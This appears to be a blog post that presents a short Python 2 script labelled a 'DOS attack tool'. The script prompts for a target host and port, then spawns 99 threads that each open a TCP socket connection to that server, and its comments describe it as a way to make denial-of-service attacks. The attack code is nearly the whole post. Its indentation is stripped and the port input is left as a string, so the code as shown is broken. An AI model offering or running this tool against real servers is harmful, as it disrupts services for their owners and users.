DOS attack tool

#Created using the tutorial of Python Network And Security Tutorial
#This tool can use to make dos attack by creating multiple connections to a server using
#simple socket connections.

import socket
import threading

site = raw_input("Type the host need to attack :")
port = raw_input("Type the port(Default 443) :")
if not port:
port = 443
class maind(threading.Thread):
def __init__(self, count):
threading.Thread.__init__(self)
self.co = count
def run(self): #This function should be "run" in order to run. else the following codes will not run.
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((site,port))
print ("connected",self.co)


arrays = []
for i in range(1,100):
th1 = maind(i)
th1.start()
print("thread started :",i)
arrays.append(th1)



Comments

Popular Posts